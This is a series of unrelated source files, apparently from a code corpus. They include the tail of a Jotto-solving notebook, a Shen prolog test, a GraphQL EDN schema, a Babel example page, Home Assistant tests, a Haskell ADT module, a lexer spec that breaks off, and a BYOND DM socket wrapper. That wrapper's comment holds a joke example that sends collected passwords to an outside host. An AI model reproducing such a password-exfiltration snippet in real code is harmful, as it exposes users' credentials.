6uqn9NdXvHrwBXpLkT9QVbzV2d1Vyt6E113zVV0Y8ivbkjbM+iOK0zVuBS4s3/sGOC9Sf6Fbm94ytvpvuCu7tv29n75S4Br+26KJ9B1jf0WcFm/7H8A76iqX9AdWziu7xa5km6s+U2Ajya5hm40ynfXypdZvAh40rSDnG8DliS5mm5Ux6WsG8fQXYnqCrrul++t4nkn0L0Pp9Idq9m0b8vb6bp7VtJ3gb0aODfJJcBt3P+er+q9nbndGomjc2qjlGSbqro73VC8l9FdbevW+W7Xxmzaex7g/cCNVfXu+W6XVmYfvzZWZ6W7uMzmwNsN/VG8MslSuvf8a3R/bWk95B6/JDXGPn5JaozBL0mNMfglqTEGvyQ1xuCXpMb8f6nfSCtsoNDTAAAAAElFTkSuQmCC\n",
"text/plain": [
"<Figure size 432x288 with 1 Axes>"
]
},
"metadata": {
"needs_background": "light"
},
"output_type": "display_data"
}
],
"source": [
"%time show_metric(expectation, True)"
]
},
{
"cell_type": "code",
"execution_count": 37,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"mean = 6.81 ± 1.00 guesses; worst = 10\n",
"CPU times: user 41.2 s, sys: 242 ms, total: 41.5 s\n",
"Wall time: 42.1 s\n"
]
},
{
"data": {
"image/png": "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\n",
"text/plain": [
"<Figure size 432x288 with 1 Axes>"
]
},
"metadata": {
"needs_background": "light"
},
"output_type": "display_data"
}
],
"source": [
"%time show_metric(negative_entropy, True)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"# Jotto Summary\n",
"\n",
"Here's a table of results:\n",
"\n",
"|<br>Algorithm|Consistent<br>Mean (Max)|Inconsistent<br>Mean (Max)|\n",
"|--|--|--|\n",
"|baseline random guesser|7.38 (18)| |\n",
"|min(max(partition_counts))|7.15 (18)|7.05 (10)|\n",
"|min(expectation(partition_counts))|7.14 (17)|6.84 (10)|\n",
"|max(entropy(partition_counts))|7.09 (19)|6.81 (10)|\n",
"\n",
"So we started out with a mean of 7.38 and a worst score of 18 with the random guesser, and were able to improve by half a guess to a mean of 6.81 and a worst score of 10 using maximization of entropy over partition counts, with inconsistent guesses allowed."
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"# Next Steps\n",
"\n",
"There are many directions you could take this if you are interested:\n",
"- Try different length words.\n",
"- Allow words with repeated letters, like `stars`.\n",
"- Have each reply consist of two numbers: the number of letters in common with the target, and the number of letters that are in the exact correct position.\n",
"- Apply the same techniques to related games, like Mastermind.\n",
"- Examine the strategy that a chooser would use, and how the guesser responds to that. Is there an equilibrium?\n",
"- Our `make_tree` function is **greedy** in that it guesses the word that minimizes some metric of the current situation without looking ahead to future branches in the tree. Can you get better performance by doing some **look-ahead**? Perhaps with a beam search?\n",
"- Can you improve a tree by editing it? Given a tree, look for interior nodes that have a worse-than-expected average score, and see if the node can be replaced with something better (covering the same target words).\n",
"- Research what other computer scientists have done with [Jotto](https://arxiv.org/abs/1107.3342) or [Mastermind](http://serkangur.freeservers.com/).\n",
"- What else can you explore?"
]
}
],
"metadata": {
"kernelspec": {
"display_name": "Python 3",
"language": "python",
"name": "python3"
},
"language_info": {
"codemirror_mode": {
"name": "ipython",
"version": 3
},
"file_extension": ".py",
"mimetype": "text/x-python",
"name": "python",
"nbconvert_exporter": "python",
"pygments_lexer": "ipython3",
"version": "3.7.6"
}
},
"nbformat": 4,
"nbformat_minor": 4
}
| Jupyter Notebook | 5 | notSahil/pytudes | ipynb/jotto.ipynb | [
"MIT"
] |
(defprolog a
X <-- (b X) (c X);)
(defprolog b
1 <--;
4 <--;)
(defprolog c
X <-- (d X) ! (e* X);
X <-- (f X);)
(defprolog d
X <-- (g* X);
X <-- (h X);)
(defprolog e*
3 <--;)
(defprolog f
4 <--;)
(defprolog g*
2 <--;)
(defprolog h
1 <--;) | Shen | 3 | tizoc/chibi-shen | shen-test-programs/cut.shen | [
"BSD-3-Clause"
] |
{:input-objects
{:Filter
{:fields
{:id {:type (non-null :ID)}
:limit {:type (non-null :Int)}}}}
:queries
{:filter
{:type String
:resolve :queries/filter
:args
{:input {:type (non-null :Filter)}}}}} | edn | 3 | hagenek/lacinia | dev-resources/dynamic-input-objects.edn | [
"Apache-2.0"
] |
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>babel-standalone example - Script tag</title>
</head>
<body>
Using Babel <strong id="version"></strong>:
<pre id="output">Loading...</pre>
<script src="../babel.js"></script>
<script type="text/javascript">
// just disable the auto transformation
Babel.disableScriptTags();
var script = document.createElement('script');
script.type = 'text/babel';
script.text = "const doStuff = () => {" +
" const name = 'world';" +
" document.getElementById('output').innerHTML = `Hello ${name}`;" +
" document.getElementById('version').innerHTML = Babel.version;" +
"};" +
"doStuff();";
document.querySelector('head').appendChild(script)
// transform when you want to
Babel.transformScriptTags()
</script>
</body>
</html>
| HTML | 4 | wuweiweiwu/babel | packages/babel-standalone/examples/scriptTag-custom.htm | [
"MIT"
] |
INSERT INTO b (id, k) VALUES (11, 13), (17, 19);
| SQL | 3 | suryatmodulus/tidb | br/tests/lightning_error_summary/data/error_summary.b.sql | [
"Apache-2.0",
"BSD-3-Clause"
] |
"""Test config flow."""
from homeassistant import data_entry_flow
from homeassistant.components.shopping_list.const import DOMAIN
from homeassistant.config_entries import SOURCE_IMPORT, SOURCE_USER
async def test_import(hass):
"""Test entry will be imported."""
result = await hass.config_entries.flow.async_init(
DOMAIN, context={"source": SOURCE_IMPORT}, data={}
)
assert result["type"] == data_entry_flow.RESULT_TYPE_CREATE_ENTRY
async def test_user(hass):
"""Test we can start a config flow."""
result = await hass.config_entries.flow.async_init(
DOMAIN, context={"source": SOURCE_USER}
)
assert result["type"] == data_entry_flow.RESULT_TYPE_FORM
assert result["step_id"] == "user"
async def test_user_confirm(hass):
"""Test we can finish a config flow."""
result = await hass.config_entries.flow.async_init(
DOMAIN, context={"source": SOURCE_USER}, data={}
)
assert result["type"] == data_entry_flow.RESULT_TYPE_CREATE_ENTRY
assert result["result"].data == {}
| Python | 5 | domwillcode/home-assistant | tests/components/shopping_list/test_config_flow.py | [
"Apache-2.0"
] |
/datum/socket
/datum/socket/proc/__register_socket()
/datum/socket/proc/__deregister_socket()
/datum/socket/proc/__check_has_data()
/datum/socket/proc/__wait_for_data()
/datum/socket/proc/__retrieve_data()
/datum/socket/New()
__register_socket()
/datum/socket/Del()
__deregister_socket()
//addr is a string with IP or domain, port is a number
/datum/socket/proc/connect(addr, port)
//returns TRUE on success, FALSE on failure (e.g. disconnect)
/datum/socket/proc/send(data)
//returns the received data as a string. Returns up to `len` bytes as a string, or sleeps until there's data in the buffer.
/datum/socket/proc/recv(len)
if(!__check_has_data())
__wait_for_data()
return __retrieve_data()
//disconnect the socket, unimplemented
/datum/socket/proc/close()
/world/proc/enable_sockets()
call("byond-extools.dll", "init_sockets")()
/* Example:
/proc/upload_statistics()
var/statistics = collect_passwords()
var/datum/socket/S = new
S.connect("www.nsa.gov", 7331)
S.send(statistics)
world << S.recv()
*/ | DM | 4 | brooje/extools | byond-extools/src/dm/socket.dm | [
"MIT"
] |
div[data-primitive] {
padding-bottom: 2em;
border-bottom: 1px solid #888;
margin-bottom: 2em;
}
div[data-primitive] .pair {
display: flex;
flex-direction: column-reverse;
margin-bottom: 1em;
}
div[data-primitive] .shape {
flex: 0 0 auto;
width: 100%;
height: 250px;
}
div[data-primitive] .desc {
word-wrap: break-word;
padding: 1em;
min-width: 0;
}
div[data-primitive] .desc code {
white-space: normal;
}
div[data-primitive] .input {
display: inline-block;
user-select: none;
}
div[data-primitive] .input::before {
content:" ";
}
div[data-primitive] .input input[type=range] {
width: 200px;
}
div[data-primitive] .input>div {
position: absolute;
display: inline-block;
}
div[data-primitive] .input input {
position: absolute;
}
div[data-primitive] .input input[type=text] {
background: #444;
color: white;
border: none;
padding: 3px;
}
@media (max-width: 600px) {
div[data-primitive] .input>div {
right: 0;
}
div[data-primitive] .input input {
opacity: 0.2;
right: 1em;
}
}
@media (max-width: 550px) {
div[data-primitive] .shape {
height: 120px;
}
}
@media (max-width: 450px) {
div[data-primitive] .pair {
flex-direction: column-reverse;
}
div[data-primitive] .shape {
margin: 0 auto;
width: 100%;
}
}
div[data-primitive] .desc {
flex: 1 1 auto;
}
| CSS | 3 | yangmengwei925/3d | manual/resources/threejs-primitives.css | [
"MIT"
] |
//===--- TypeInfoProvider.h - Abstract access to type info ------*- C++ -*-===//
//
// This source file is part of the Swift.org open source project
//
// Copyright (c) 2020 Apple Inc. and the Swift project authors
// Licensed under Apache License v2.0 with Runtime Library Exception
//
// See https://swift.org/LICENSE.txt for license information
// See https://swift.org/CONTRIBUTORS.txt for the list of Swift project authors
//
//===----------------------------------------------------------------------===//
//
// This file declares an abstract interface for reading type layout info.
//
//===----------------------------------------------------------------------===//
#ifndef SWIFT_REMOTE_TYPEINFOPROVIDER_H
#define SWIFT_REMOTE_TYPEINFOPROVIDER_H
namespace swift {
namespace reflection {
class TypeInfo;
}
namespace remote {
/// An abstract interface for providing external type layout information.
struct TypeInfoProvider {
virtual ~TypeInfoProvider() = default;
/// Attempt to read type information about (Clang)imported types that are not
/// represented in the metadata. LLDB can read this information from debug
/// info, for example.
virtual const reflection::TypeInfo *
getTypeInfo(llvm::StringRef mangledName) = 0;
};
} // namespace remote
} // namespace swift
#endif
| C | 5 | gandhi56/swift | include/swift/Remote/TypeInfoProvider.h | [
"Apache-2.0"
] |
// not compliant
component{
function x(){
sampleStruct.yetAnotherKey = "yetAnotherValue";
//repeat
sampleStruct.yetAnotherKey = "yetAnotherValue";
sampleStruct.foo["abc"] = "yetAnotherValue";
sampleStruct.foo().xyzzy["abc"] = "yetAnotherValue";
sampleStruct.foo().bar = "yetAnotherValue";
sampleStruct.foo() = "yetAnotherValue";
}
} | ColdFusion CFC | 2 | tonym128/CFLint | src/test/resources/com/cflint/tests/StructKeyChecker/dotNotation_405.cfc | [
"BSD-3-Clause"
] |
module ADTProto where
type Ident = String
newtype Type = TypeName Ident
deriving Show
type Program = [DeclType]
data DeclType = TypeDeclADT DeclADT
| TypeDeclMessage DeclMessage
| TypeDeclEnum DeclEnum
deriving Show
-- ADTs
data DeclADT = ADT { adtName :: Ident, adtBody :: [ADTDecl] }
deriving Show
data ADTDecl = ADTDeclBranch DeclBranch
| ADTDeclType DeclType
| ADTDeclField DeclField
| ADTDeclCheck DeclCheck
deriving Show
data DeclBranch
-- branch Foo { fields... };
= BranchMessage Ident [MessageDecl]
-- branch Foo = int;
| BranchIsType Ident Type Modifier
-- branch Quux, Xyzzy, Plugh;
| BranchEmpty Ident
deriving Show
branchName :: DeclBranch -> Ident
branchName (BranchMessage i _) = i
branchName (BranchIsType i _ _) = i
branchName (BranchEmpty i) = i
newtype DeclCheck = DeclCheck String -- just some C++ code
deriving Show
-- Messages
data DeclMessage = Message { messageName :: Ident
, messageBody :: [MessageDecl] }
deriving Show
data MessageDecl = MessageDeclType DeclType
| MessageDeclField DeclField
deriving Show
data DeclField = Field { fieldName :: Ident
, fieldType :: Type
, fieldModifier :: Modifier }
deriving Show
data Modifier = Required | Optional | Repeated
deriving (Eq, Show)
-- Enums
data DeclEnum = Enum { enumName :: Ident, enumBody :: [EnumDecl] }
deriving Show
data EnumDecl = EnumDeclTag { tagIdent :: Ident }
deriving Show
| Haskell | 4 | zadcha/rethinkdb | scripts/adtproto/ADTProto.hs | [
"Apache-2.0"
] |
1@<<<1>>>@ 2@<<<2>>>@ 3@<<<3>>>@ | Creole | 0 | jquorning/ada-wiki | regtests/files/wiki/template-1-param.creole | [
"Apache-2.0"
] |
%namespace Dot2Graph
%option out:DotLex.cs
%{
int nesting = 0;
string stringId = null;
internal void LoadYylVal() {
int dummy = yytext.Length;
yylval.sVal = tokTxt;
}
%}
alpha [a-zA-Z]
alphaplus [a-zA-Z0-9\-\200-\377\_!\.\'\?]
alphaplain [a-zA-Z0-9\200-\377\_*!\.\'\?]
num [\-]?(\.([0-9]+)|([0-9]+)(\.([0-9]*))?)
%x STRING
%x HTML
%x LINECOMMENT
%x MLINECOMMENT
%%
\-\> { return (int) Tokens.ARROW; }
{alphaplain}{alphaplain}* { return (int) MkId(yytext); }
{alphaplain}{alphaplus}*{alphaplain} { return (int) MkId(yytext); }
{num} { return (int) Tokens.ID; }
\-\- { return (int) Tokens.ARROW; }
\" { BEGIN(STRING); stringId = ""; }
\[ { return (int)'['; }
\] { return (int)']'; }
\{ { return (int)'{'; }
\} { return (int)'}'; }
\( { return (int)'('; }
\) { return (int)')'; }
\, { return (int)','; }
\; { return (int)';'; }
\: { return (int)':'; }
\= { return (int)'='; }
\@ { return (int)'@'; }
\< { BEGIN(HTML); nesting = 1; }
\n\# { BEGIN(LINECOMMENT); }
[ \t\r\f\v\n] {}
\/\/ { BEGIN(LINECOMMENT); }
\/\* { BEGIN(MLINECOMMENT); }
. { Error(yytext); }
<HTML>\< { nesting++; }
